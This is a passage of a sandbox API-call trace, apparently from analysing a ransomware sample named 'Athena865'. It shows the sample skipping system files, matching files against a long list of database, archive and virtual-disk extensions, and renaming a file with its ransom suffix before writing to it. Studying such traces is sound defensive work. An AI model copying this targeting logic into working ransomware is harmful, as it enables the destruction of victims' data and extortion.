dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb8c0) returned 0x100000 [0129.408] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.410] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.410] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.410] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.411] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.412] CloseHandle (hObject=0x154) returned 1 [0129.412] CloseHandle (hObject=0x17c) returned 1 [0129.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.412] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2=".") returned 1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2="..") returned 1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2="windows") returned -1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2="bootmgr") returned 1 [0129.412] lstrcmpiW (lpString1="J0281630.WMF", lpString2="temp") returned -1 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2="pagefile.sys") returned -1 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2="boot") returned 1 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2="ids.txt") returned 1 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2="ntuser.dat") returned -1 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2="perflogs") returned -1 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2="MSBuild") returned -1 [0129.413] lstrlenW (lpString="J0281630.WMF") returned 12 [0129.413] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0281630.WMF" | out: lpString1="J0281630.WMF") returned="J0281630.WMF" [0129.413] lstrlenW (lpString="J0281630.WMF") returned 12 [0129.413] lstrlenW (lpString="Athena865") returned 9 [0129.413] lstrcmpiW (lpString1="81630.WMF", lpString2="Athena865") returned -1 [0129.413] lstrlenW (lpString=".dll") returned 4 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2=".dll") returned 1 [0129.413] lstrlenW (lpString=".lnk") returned 4 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2=".lnk") returned 1 [0129.413] lstrlenW (lpString=".ini") returned 4 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2=".ini") returned 1 [0129.413] lstrlenW (lpString=".sys") returned 4 [0129.413] lstrcmpiW (lpString1="J0281630.WMF", lpString2=".sys") returned 1 [0129.413] lstrlenW (lpString="J0281630.WMF") returned 12 [0129.413] lstrlenW (lpString="bak") returned 3 [0129.413] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.413] lstrlenW (lpString="ba_") returned 3 [0129.413] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.413] lstrlenW (lpString="dbb") returned 3 [0129.413] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.413] lstrlenW (lpString="vmdk") returned 4 [0129.414] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.414] lstrlenW (lpString="rar") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.414] lstrlenW (lpString="zip") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.414] lstrlenW (lpString="tgz") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.414] lstrlenW (lpString="vbox") returned 4 [0129.414] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.414] lstrlenW (lpString="vdi") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.414] lstrlenW (lpString="vhd") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.414] lstrlenW (lpString="vhdx") returned 4 [0129.414] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.414] lstrlenW (lpString="avhd") returned 4 [0129.414] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.414] lstrlenW (lpString="db") returned 2 [0129.414] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.414] lstrlenW (lpString="db2") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.414] lstrlenW (lpString="db3") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.414] lstrlenW (lpString="dbf") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.414] lstrlenW (lpString="mdf") returned 3 [0129.414] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.414] lstrlenW (lpString="mdb") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.415] lstrlenW (lpString="sql") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.415] lstrlenW (lpString="sqlite") returned 6 [0129.415] lstrcmpiW (lpString1="30.WMF", lpString2="sqlite") returned -1 [0129.415] lstrlenW (lpString="sqlite3") returned 7 [0129.415] lstrcmpiW (lpString1="630.WMF", lpString2="sqlite3") returned -1 [0129.415] lstrlenW (lpString="sqlitedb") returned 8 [0129.415] lstrcmpiW (lpString1="1630.WMF", lpString2="sqlitedb") returned -1 [0129.415] lstrlenW (lpString="xml") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.415] lstrlenW (lpString="$er") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.415] lstrlenW (lpString="4dd") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.415] lstrlenW (lpString="4dl") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.415] lstrlenW (lpString="^^^") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.415] lstrlenW (lpString="abs") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.415] lstrlenW (lpString="abx") returned 3 [0129.415] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.415] lstrlenW (lpString="accdb") returned 5 [0129.415] lstrcmpiW (lpString1="0.WMF", lpString2="accdb") returned -1 [0129.415] lstrlenW (lpString="accdc") returned 5 [0129.416] lstrcmpiW (lpString1="0.WMF", lpString2="accdc") returned -1 [0129.416] lstrlenW (lpString="accde") returned 5 [0129.416] lstrcmpiW (lpString1="0.WMF", lpString2="accde") returned -1 [0129.416] lstrlenW (lpString="accdr") returned 5 [0129.416] lstrcmpiW (lpString1="0.WMF", lpString2="accdr") returned -1 [0129.416] lstrlenW (lpString="accdt") returned 5 [0129.416] lstrcmpiW (lpString1="0.WMF", lpString2="accdt") returned -1 [0129.416] lstrlenW (lpString="accdw") returned 5 [0129.416] lstrcmpiW (lpString1="0.WMF", lpString2="accdw") returned -1 [0129.416] lstrlenW (lpString="accft") returned 5 [0129.416] lstrcmpiW (lpString1="0.WMF", lpString2="accft") returned -1 [0129.416] lstrlenW (lpString="adb") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.416] lstrlenW (lpString="adb") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.416] lstrlenW (lpString="ade") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.416] lstrlenW (lpString="adf") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.416] lstrlenW (lpString="adn") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.416] lstrlenW (lpString="adp") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.416] lstrlenW (lpString="alf") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.416] lstrlenW (lpString="ask") returned 3 [0129.416] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.417] lstrlenW (lpString="btr") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.417] lstrlenW (lpString="cat") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.417] lstrlenW (lpString="cdb") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.417] lstrlenW (lpString="ckp") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.417] lstrlenW (lpString="cma") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.417] lstrlenW (lpString="cpd") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.417] lstrlenW (lpString="dacpac") returned 6 [0129.417] lstrcmpiW (lpString1="30.WMF", lpString2="dacpac") returned -1 [0129.417] lstrlenW (lpString="dad") returned 3 [0129.417] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.417] lstrlenW (lpString="dadiagrams") returned 10 [0129.417] lstrcmpiW (lpString1="281630.WMF", lpString2="dadiagrams") returned -1 [0129.417] lstrlenW (lpString="daschema") returned 8 [0129.417] lstrcmpiW (lpString1="1630.WMF", lpString2="daschema") returned -1 [0129.417] lstrlenW (lpString="db-journal") returned 10 [0129.417] lstrcmpiW (lpString1="281630.WMF", lpString2="db-journal") returned -1 [0129.417] lstrlenW (lpString="db-shm") returned 6 [0129.417] lstrcmpiW (lpString1="30.WMF", lpString2="db-shm") returned -1 [0129.417] lstrlenW (lpString="db-wal") returned 6 [0129.417] lstrcmpiW (lpString1="30.WMF", lpString2="db-wal") returned -1 [0129.418] lstrlenW (lpString="dbc") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.418] lstrlenW (lpString="dbs") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.418] lstrlenW (lpString="dbt") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.418] lstrlenW (lpString="dbv") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.418] lstrlenW (lpString="dbx") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.418] lstrlenW (lpString="dcb") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.418] lstrlenW (lpString="dct") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.418] lstrlenW (lpString="dcx") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.418] lstrlenW (lpString="ddl") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.418] lstrlenW (lpString="dlis") returned 4 [0129.418] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.418] lstrlenW (lpString="dp1") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.418] lstrlenW (lpString="dqy") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.418] lstrlenW (lpString="dsk") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.418] lstrlenW (lpString="dsn") returned 3 [0129.418] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.419] lstrlenW (lpString="dtsx") returned 4 [0129.419] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.419] lstrlenW (lpString="dxl") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.419] lstrlenW (lpString="eco") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.419] lstrlenW (lpString="ecx") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.419] lstrlenW (lpString="edb") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.419] lstrlenW (lpString="epim") returned 4 [0129.419] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.419] lstrlenW (lpString="fcd") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.419] lstrlenW (lpString="fdb") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.419] lstrlenW (lpString="fic") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.419] lstrlenW (lpString="flexolibrary") returned 12 [0129.419] lstrlenW (lpString="fm5") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.419] lstrlenW (lpString="fmp") returned 3 [0129.419] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.419] lstrlenW (lpString="fmp12") returned 5 [0129.419] lstrcmpiW (lpString1="0.WMF", lpString2="fmp12") returned -1 [0129.419] lstrlenW (lpString="fmpsl") returned 5 [0129.419] lstrcmpiW (lpString1="0.WMF", lpString2="fmpsl") returned -1 [0129.420] lstrlenW (lpString="fol") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.420] lstrlenW (lpString="fp3") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.420] lstrlenW (lpString="fp4") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.420] lstrlenW (lpString="fp5") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.420] lstrlenW (lpString="fp7") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.420] lstrlenW (lpString="fpt") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.420] lstrlenW (lpString="frm") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.420] lstrlenW (lpString="gdb") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.420] lstrlenW (lpString="gdb") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.420] lstrlenW (lpString="grdb") returned 4 [0129.420] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.420] lstrlenW (lpString="gwi") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.420] lstrlenW (lpString="hdb") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.420] lstrlenW (lpString="his") returned 3 [0129.420] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.420] lstrlenW (lpString="ib") returned 2 [0129.421] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.421] lstrlenW (lpString="idb") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.421] lstrlenW (lpString="ihx") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.421] lstrlenW (lpString="itdb") returned 4 [0129.421] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.421] lstrlenW (lpString="itw") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.421] lstrlenW (lpString="jet") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.421] lstrlenW (lpString="jtx") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.421] lstrlenW (lpString="kdb") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.421] lstrlenW (lpString="kexi") returned 4 [0129.421] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.421] lstrlenW (lpString="kexic") returned 5 [0129.421] lstrcmpiW (lpString1="0.WMF", lpString2="kexic") returned -1 [0129.421] lstrlenW (lpString="kexis") returned 5 [0129.421] lstrcmpiW (lpString1="0.WMF", lpString2="kexis") returned -1 [0129.421] lstrlenW (lpString="lgc") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.421] lstrlenW (lpString="lwx") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.421] lstrlenW (lpString="maf") returned 3 [0129.421] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.421] lstrlenW (lpString="maq") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.422] lstrlenW (lpString="mar") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.422] lstrlenW (lpString="marshal") returned 7 [0129.422] lstrcmpiW (lpString1="630.WMF", lpString2="marshal") returned -1 [0129.422] lstrlenW (lpString="mas") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.422] lstrlenW (lpString="mav") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.422] lstrlenW (lpString="maw") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.422] lstrlenW (lpString="mdbhtml") returned 7 [0129.422] lstrcmpiW (lpString1="630.WMF", lpString2="mdbhtml") returned -1 [0129.422] lstrlenW (lpString="mdn") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.422] lstrlenW (lpString="mdt") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.422] lstrlenW (lpString="mfd") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.422] lstrlenW (lpString="mpd") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.422] lstrlenW (lpString="mrg") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.422] lstrlenW (lpString="mud") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.422] lstrlenW (lpString="mwb") returned 3 [0129.422] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.422] lstrlenW (lpString="myd") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.423] lstrlenW (lpString="ndf") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.423] lstrlenW (lpString="nnt") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.423] lstrlenW (lpString="nrmlib") returned 6 [0129.423] lstrcmpiW (lpString1="30.WMF", lpString2="nrmlib") returned -1 [0129.423] lstrlenW (lpString="ns2") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.423] lstrlenW (lpString="ns3") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.423] lstrlenW (lpString="ns4") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.423] lstrlenW (lpString="nsf") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.423] lstrlenW (lpString="nv") returned 2 [0129.423] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.423] lstrlenW (lpString="nv2") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.423] lstrlenW (lpString="nwdb") returned 4 [0129.423] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.423] lstrlenW (lpString="nyf") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.423] lstrlenW (lpString="odb") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.423] lstrlenW (lpString="odb") returned 3 [0129.423] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.424] lstrlenW (lpString="oqy") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.424] lstrlenW (lpString="ora") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.424] lstrlenW (lpString="orx") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.424] lstrlenW (lpString="owc") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.424] lstrlenW (lpString="p96") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.424] lstrlenW (lpString="p97") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.424] lstrlenW (lpString="pan") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.424] lstrlenW (lpString="pdb") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.424] lstrlenW (lpString="pdm") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.424] lstrlenW (lpString="pnz") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.424] lstrlenW (lpString="qry") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.424] lstrlenW (lpString="qvd") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.424] lstrlenW (lpString="rbf") returned 3 [0129.424] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.424] lstrlenW (lpString="rctd") returned 4 [0129.424] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.424] lstrlenW (lpString="rod") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.425] lstrlenW (lpString="rodx") returned 4 [0129.425] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.425] lstrlenW (lpString="rpd") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.425] lstrlenW (lpString="rsd") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.425] lstrlenW (lpString="sas7bdat") returned 8 [0129.425] lstrcmpiW (lpString1="1630.WMF", lpString2="sas7bdat") returned -1 [0129.425] lstrlenW (lpString="sbf") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.425] lstrlenW (lpString="scx") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.425] lstrlenW (lpString="sdb") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.425] lstrlenW (lpString="sdc") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.425] lstrlenW (lpString="sdf") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.425] lstrlenW (lpString="sis") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.425] lstrlenW (lpString="spq") returned 3 [0129.425] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.425] lstrlenW (lpString="te") returned 2 [0129.425] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.425] lstrlenW (lpString="teacher") returned 7 [0129.425] lstrcmpiW (lpString1="630.WMF", lpString2="teacher") returned -1 [0129.425] lstrlenW (lpString="tmd") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.426] lstrlenW (lpString="tps") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.426] lstrlenW (lpString="trc") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.426] lstrlenW (lpString="trc") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.426] lstrlenW (lpString="trm") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.426] lstrlenW (lpString="udb") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.426] lstrlenW (lpString="udl") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.426] lstrlenW (lpString="usr") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.426] lstrlenW (lpString="v12") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.426] lstrlenW (lpString="vis") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.426] lstrlenW (lpString="vpd") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.426] lstrlenW (lpString="vvv") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.426] lstrlenW (lpString="wdb") returned 3 [0129.426] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.426] lstrlenW (lpString="wmdb") returned 4 [0129.426] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.427] lstrlenW (lpString="wrk") returned 3 [0129.427] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.427] lstrlenW (lpString="xdb") returned 3 [0129.427] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.427] lstrlenW (lpString="xld") returned 3 [0129.427] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.427] lstrlenW (lpString="xmlff") returned 5 [0129.427] lstrcmpiW (lpString1="0.WMF", lpString2="xmlff") returned -1 [0129.427] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.Athena865") returned 73 [0129.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.athena865"), dwFlags=0x1) returned 1 [0129.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c 